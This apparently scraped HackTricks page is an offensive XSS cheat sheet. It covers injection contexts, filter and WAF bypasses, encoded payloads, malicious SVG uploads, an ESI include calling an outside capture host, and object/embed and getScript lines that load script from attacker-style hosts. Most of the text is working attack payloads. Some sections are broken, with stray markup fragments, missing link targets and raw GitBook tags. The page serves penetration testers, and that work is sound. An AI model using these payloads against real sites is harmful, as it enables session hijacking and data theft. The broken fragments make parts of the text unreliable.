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HackTricks - Boitatech
  • HackTricks
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  • Windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • DPAPI - Extracting Passwords
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      • RottenPotato
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      • Windows C Payloads
    • Active Directory Methodology
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    • NTLM
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      • PsExec/Winexec/ScExec
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    • Basic CMD for Pentesters
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  • Mobile Apps Pentesting
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      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable applciation
      • Frida Tutorial
        • Frida Tutorial 1
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        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
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      • Intent Injection
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      • Manual DeObfuscation
      • React Native Application
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      • Spoofing your location in Play Store
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    • iOS Pentesting Checklist
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  • Pentesting
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      • Spoofing SSDP and UPnP Devices with EvilSSDP
      • Wifi Attacks
        • Evil Twin EAP-TLS
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    • Pentesting JDWP - Java Debug Wire Protocol
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    • Pentesting SAP
    • Pentesting Kubernetes
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    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 53 - Pentesting DNS
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    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
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      • Artifactory Hacking guide
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      • PHP Tricks (SPA)
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
      • Python
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      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
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      • Wordpress
      • XSS to RCE Electron Desktop Apps
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
      • Oracle Pentesting requirements installation
      • TNS Poison
      • Remote stealth pass brute force
      • Oracle RCE & more
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
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    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS)
    • 5432,5433 - Pentesting Postgresql
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8089 - Splunkd
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
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  • Pentesting Web
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      • Web Vulns List
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  • 1911 - Pentesting fox
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Powered by GitBook
On this page
  • Methodology
  • Reflected values
  • Contexts
  • Raw HTML
  • Inside HTML tags attribute
  • Inside JavaScript code
  • DOM
  • Universal XSS
  • WAF bypass encoding image
  • Injecting inside raw HTML
  • Tags/Events brute-force
  • Custom tags
  • Blacklist Bypasses
  • Length bypass (XSS in 20chars)
  • Click XSS - Clickjacking
  • Impossible - Dangling Markup
  • Injecting inside HTML tag
  • Inside the tag/escaping from attribute value
  • Within the attribute
  • Special Protocols Within the attribute
  • Reverse tab nabbing
  • on Event Handlers Bypass
  • XSS in "Unexploitable tags" (input hidden, link, canonical)
  • Blacklist Bypasses
  • Injecting inside JavaScript code
  • Escaping <script> tag
  • Inside JS code
  • Template literals ``
  • Encoded code execution
  • JavaScript bypass blacklists techniques
  • XSS in dynamic created PDF
  • XSS uploading files (svg)
  • Other JavaScript tricks
  • JavaScript Comments
  • Javascript New Lines
  • Surrogate Pairs
  • XSS resources
  • XSS TOOLS
  • Other JavaScript related tricks
  • .map js files
  • "--" Assignment
  • Arrow functions
  • Bind function
  • Function code leak
  • Automatic Browser Access to test payloads

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  1. Pentesting Web

XSS (Cross Site Scripting)

PreviousXXE - XEE - XML External EntityNextPDF Injection

Last updated 3 years ago

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Methodology

  1. Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.

  2. Find the context where it's reflected/used.

  3. If reflected

    1. Check which symbols can you use and depending on that, prepare the payload:

      1. In raw HTML:

        1. Can you create new HTML tags?

        2. Can you use events or attributes supporting javascript: protocol?

        3. Can you bypass protections?

        4. Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo...), you could abuse a .

        5. If you cannot create HTML tags that execute JS code, could you abuse a ?

      2. Inside a HTML tag:

        1. Can you exit to raw HTML context?

        2. Can you create new events/attributes to execute JS code?

        3. Does the attribute where you are trapped support JS execution?

        4. Can you bypass protections?

      3. Inside JavaScript code:

        1. Can you escape the <script> tag?

        2. Can you escape the string and execute different JS code?

        3. Are your input in template literals ``?

        4. Can you bypass protections?

  4. If used:

    1. You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.

Reflected values

In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.

  • Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.

  • Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.

  • Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.

Contexts

When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.

Raw HTML

Inside HTML tags attribute

If your input is reflected inside the value of the attribute of a tag you could try:

  1. To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]

  2. If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="

  3. If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

  4. If your input is reflected inside "unexpoitable tags" you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="

Inside JavaScript code

In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .jsfile or inside an attribute using javascript: protocol:

  • If reflected between <script> [...] </script> tags, even if your input if inside any kind of quotes, you can try to inject </script> and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script> tag is inside the HTML code.

  • If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:

    • '-alert(1)-'

    • ';-alert(1)//

    • \';alert(1)//

  • If reflected inside template literals `` you can embed JS expressions using ${ ... } syntax: `var greetings =Hello, ${alert(1)}```

DOM

There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.

Universal XSS

These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more. Some examples:

WAF bypass encoding image

Injecting inside raw HTML

In this case and if no black/whitelisting is used, you could use payloads like:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create. Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Custom tags

If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

If some kind of blacklist is being used you could try to bypass it with some silly tricks:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (XSS in 20chars)

<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Click XSS - Clickjacking

Impossible - Dangling Markup

Injecting inside HTML tag

Inside the tag/escaping from attribute value

" autofocus onfocus=alert(document.domain) x="

Style events

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Within the attribute

Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that any kind of HTML encode is valid:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Note that URL encode will also work:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass inside event using Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Special Protocols Within the attribute

There you can use the protocols javascript: or data: in some places to execute arbitrary JS code. Some will require user interaction on some won't.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line 
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Places where you can inject these protocols

In general the javascript: protocol can be used in any tag that accepts the attribute href and in most of the tags that accepts the attribute src (but not <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf 
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf 
<iframe srcdoc="<svg onload=alert(4);>">

Other obfuscation tricks

In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Moreover, there is another nice trick for these cases: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed. So, if you need to escape from the string using a single quote and you see that it's being URL encoded, remember that it doesn't matter, it will be interpreted as a single quote during the execution time.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Note that if you try to use both URLencode + HTMLencode in any order to encode the payload it won't work, but you can mix them inside the payload.

Using Hex and Octal encode with javascript:

You can use Hex and Octal encode inside the src attribute of iframe (at least) to declare HTML tags to execute JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:

on Event Handlers Bypass

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS in "Unexploitable tags" (input hidden, link, canonical)

<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use HTML encoding, Unicode encoding, URL encoding, Hex and Octal encoding and even data encoding.

Bypasses for HTML tags and attributes

Bypasses for JavaScript code

Injecting inside JavaScript code

In these case you input is going to be reflected inside the JS code of a .js file or between <script>...</script> tags or between HTML events that can execute JS code or between attributes that accepts the javascript: protocol.

Escaping <script> tag

If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we haven't even closed the single quote, but that's not necessary as the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.

Inside JS code

If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

In order to construct strings apart from single and double quotes JS also accepts backticks ```````` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax. Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... } to execute arbitrary JS code:

This can be abused using: ${alert(1)}

Encoded code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

JavaScript bypass blacklists techniques

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Space substitutions inside JS code

<TAB>
/**/

JavaScript without parentheses

alert`1`
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
eval.call`${'alert\x2823\x29'}`
eval.apply`${[`alert\x2823\x29`]}`
//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

Arbitrary function (alert) call

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}

">

">

$.getScript("//domain")

">

">

### Brute-Force List

{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/xss.txt" %}

## XSS Abusing other vulnerabilities

### XSS to SSRF

Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload:

```python
<esi:include src="http://yoursite.com/capture" />

XSS in dynamic created PDF

If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.

If you cannot inject HTML tags it could be worth it to try to inject PDF data:

XSS uploading files (svg)

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert(1);
   </script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>

Other JavaScript tricks

JavaScript Comments

//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line


  for (let j = 0; j < 128; j++) {
    for (let k = 0; k < 128; k++) {
      for (let l = 0; l < 128; l++) {
        if (j == 34 || k ==34 || l ==34)
          continue;
        if (j == 0x0a || k ==0x0a || l ==0x0a)
          continue;
        if (j == 0x0d || k ==0x0d || l ==0x0d)
          continue;
        if (j == 0x3c || k ==0x3c || l ==0x3c)
          continue;
        if (
           (j == 47 && k == 47)
           ||(k == 47 && l == 47)
          )
          continue;
    try {
        var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
        eval(cmd);
    } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === "ReferenceError")
          continue
        err = e.toString().split('\n')[0]
    }
       console.log(err,cmd);
    }
    }
  }
  //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

Javascript New Lines

//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

  for (let j = 0; j < 65536; j++) {
    try {
        var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
        eval(cmd);
    } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === "ReferenceError")
          continue;
        err = e.toString().split('\n')[0]
    }
    console.log(`[${err}]`,j,cmd);
  }
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

Surrogate Pairs

This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair.

def unicode(findHex):
    for i in range(0,0xFFFFF):
        H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
        h = chr(int(H[-2:],16))
        L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
        l = chr(int(L[-2:],16))
        if(h == findHex[0]) and (l == findHex[1]):     
            print(H.replace("0x","\\u")+L.replace("0x","\\u"))

More info:

XSS resources

XSS TOOLS

Other JavaScript related tricks

.map js files

"--" Assignment

The decrement operator -- is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to NaN. This can be used to remove the content of variables from the environment.

Arrow functions

Arrow functions allow you to generate functions in a sigle line more easily (if you understand them)

// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};

// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;

// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }

// Arrow
let a = 4;
let b = 2;
() => a + b + 1;

So, most of the previous functions are actually useless because we aren't saving them anywhere to save and call them. Example creating the plusone function:

// Traductional
function plusone (a){ return a + 1; }

//Arrow
plusone = a => a + 100;

Bind function

The bind function allow to create a copy of a function modifying the this object and the parameters given.

//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
    console.info( this, param1, param2 );
}
fn('Hello', 'World')

//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')

//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
bindFn_change('Hello', 'World') 

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')

Note that using bind you can manipulate the this object that is going to be used when calling the function.

Function code leak

If you can access the object of a function you can get the code of that function

function afunc(){
    return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function

In cases where the function doesn't have any name, you can still print the function code from within:

(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")

Some random ways to extract the code of a function (even comments) from another function:

(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
(function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })()
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()

Automatic Browser Access to test payloads

//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");

const realPasswordLength = 3000;
async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  //Loop to iterate through different values
  for (let i = 0; i < 10000; i += 100) {
    console.log(`Run number ${i}`);
    const input = `${"0".repeat(i)}${realPasswordLength}`;
    console.log(`  https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`);
    //Go to the page
    await page.goto(
      `https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`
    );
    //Call function "generate()" inside the page
    await page.evaluate("generate()");
    //Get node inner text from an HTML element
    const passwordContent = await page.$$eval(
      ".alert .page-content",
      (node) => node[0].innerText
    );
    //Transform the content and print it in console
    const plainPassword = passwordContent.replace("Your password is: ", "");
    if (plainPassword.length != realPasswordLength) {
      console.log(i, plainPassword.length, plainPassword);
    }

    await sleep(1000);
  }
  await browser.close();
})();

If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ... these are just some of the many possible HTML tags you could use. Also, keep in mind .

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case. For this cases also keep in mind . Note: A HTML comment can be closed using --> or --!>

